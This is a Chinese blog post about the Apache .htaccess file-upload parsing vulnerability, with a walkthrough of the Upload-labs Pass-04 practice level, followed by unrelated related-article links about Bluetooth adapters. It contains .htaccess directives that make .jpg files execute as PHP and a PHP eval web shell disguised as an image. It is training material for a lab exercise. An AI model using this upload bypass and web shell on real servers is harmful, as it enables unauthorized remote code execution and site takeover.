.htaccess文件上传解析漏洞

news/2024/12/6 18:24:21/

<ifModule mime_module>AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 --></ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 --><FilesMatch "muma.jpg">Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 --></FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->

下面来说一下这几种写法的区别:

  • Sethandler 指令:
    将该目录及子目录的所有文件均映射为php文件类型
  • Addhandler 指令:
    使用 php5-script 处理器来解析所匹配到的文件
  • AddType 指令
    将特定扩展名文件映射为php文件类型
     
     
  • Upload-labs(Pass-04)

这一关的漏洞便在于 .htaccess 文件上传解析漏洞,使用上面我们所提到的知识便能够通过这一关
在这里插入图片描述我们需要先准备好两个文件(.htaccess 和 muma.jpg

<!-- .htaccess文件 -->
<FilesMatch "muma.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
//muma.jpg
<?php @eval($_POST["test"]); ?>

接下来就是先将 .htaccess 文件上传,从而覆盖父目录对上传目录的影响,然后再上传 muma.jpg 文件,从而完成 .htaccess 文件上传解析漏洞的利用
放一个该关卡蚁剑成功连接的图片
在这里插入图片描述 
 
由于作者也是在学习之中,所以文章错误之处还请在评论区指正

个人新建博客,欢迎访问


http://www.ppmy.cn/news/214210.html

相关文章

台式计算机找不到蓝牙发射器,台式机没有蓝牙功能,怎么连接蓝牙设备呢?

原标题&#xff1a;台式机没有蓝牙功能&#xff0c;怎么连接蓝牙设备呢&#xff1f; 后台经常有小伙伴提问&#xff0c;小泽&#xff0c;我的台式机电脑没有蓝牙功能&#xff0c;但是想连接蓝牙音箱、蓝牙耳机怎么办&#xff1f;其实很简单&#xff0c;用一个蓝牙适配器就可以搞…

win10 蓝牙调试工具 Bluetooth LE Explorer 简单使用

前言 由于当时不知道手机mi10连接蓝牙模块还得开定位&#xff0c;只能用老手机进行调试&#xff0c;非常麻烦&#xff0c;便在网上搜集了win10是否有相应的调试工具。发现了这篇文章 在Windows10系统里调试蓝牙BLE设备 本文进行更加细化的补充。 当然电脑得有蓝牙啊&#xff0…

台式机win7连接蓝牙耳机

想在台式机上安装无线的蓝牙耳机&#xff0c;试过千月&#xff0c;但是评估版&#xff0c;音质差&#xff0c;还要付钱。不服气啊&#xff0c;摸索了两天&#xff0c;现在安装成功&#xff0c;没想到如此简单&#xff0c;还有立体音效&#xff0c;现将安装过程分享如下&#xf…

台式计算机有不有蓝牙,台式机没有蓝牙怎么办

台式机没有蓝牙&#xff0c;想上个蓝牙&#xff0c;该怎么样解决呢?下面由学习啦小编给你做出详细的台式机没有蓝牙解决方法介绍!希望对你有帮助! 台式机没有蓝牙解决方法一&#xff1a; 可以安装USB蓝牙设备 知识延伸&#xff1a;给台式机安装USB蓝牙设备与台式机蓝牙连接 1)…

查询蓝牙适配器版本

台式机不支持蓝牙&#xff0c;装了个蓝牙适配器&#xff0c;结果换来换去又忘记自己这个是啥版本了&#xff0c;适配器自己也不写。 好在微软官方也给了说明如何查询 我的电脑运行哪个蓝牙版本&#xff1f; - Microsoft 支持 https://support.microsoft.com/zh-cn/windows/%E6%…

台式计算机能装蓝牙吗,台式机如何安装蓝牙

想给自己台式机安装一个蓝牙&#xff0c;该怎么样实现呢?下面由小编给你做出详细的台式机安装蓝牙方法介绍!希望对你有帮助! 台式机安装蓝牙方法一&#xff1a; 但只要在电脑上安装这些装置&#xff0c;马上就能让电脑拥有蓝牙无线传输功能。 所谓USB蓝牙模块是个小小的USB装置…

【教程】电脑怎么禁用主板蓝牙,使用蓝牙适配器?

有时主板蓝牙出毛病&#xff0c;比如蓝牙耳机播放卡顿&#xff0c;蓝牙版本过低等&#xff0c;购买了新的USB蓝牙适配器&#xff0c;怎么正确使用呢&#xff1f; 安装过两个蓝牙驱动的Windows win10 win11电脑&#xff0c;回退回使用主板蓝牙时&#xff0c;删除已经配对成功的…

电脑蓝牙与蓝牙适配器使用

注&#xff1a;本人使用的是没有蓝牙的笔记本I3&#xff0c;所以使用蓝牙适配器&#xff0c;win10教育版。 1.查看是否具备蓝牙功能 我的电脑→管理→设备管理器查看是否具有蓝牙模块 。 2.如果确定电脑有蓝牙功能后&#xff0c;那就可以转向第三点。 蓝牙适配器一般都是免安…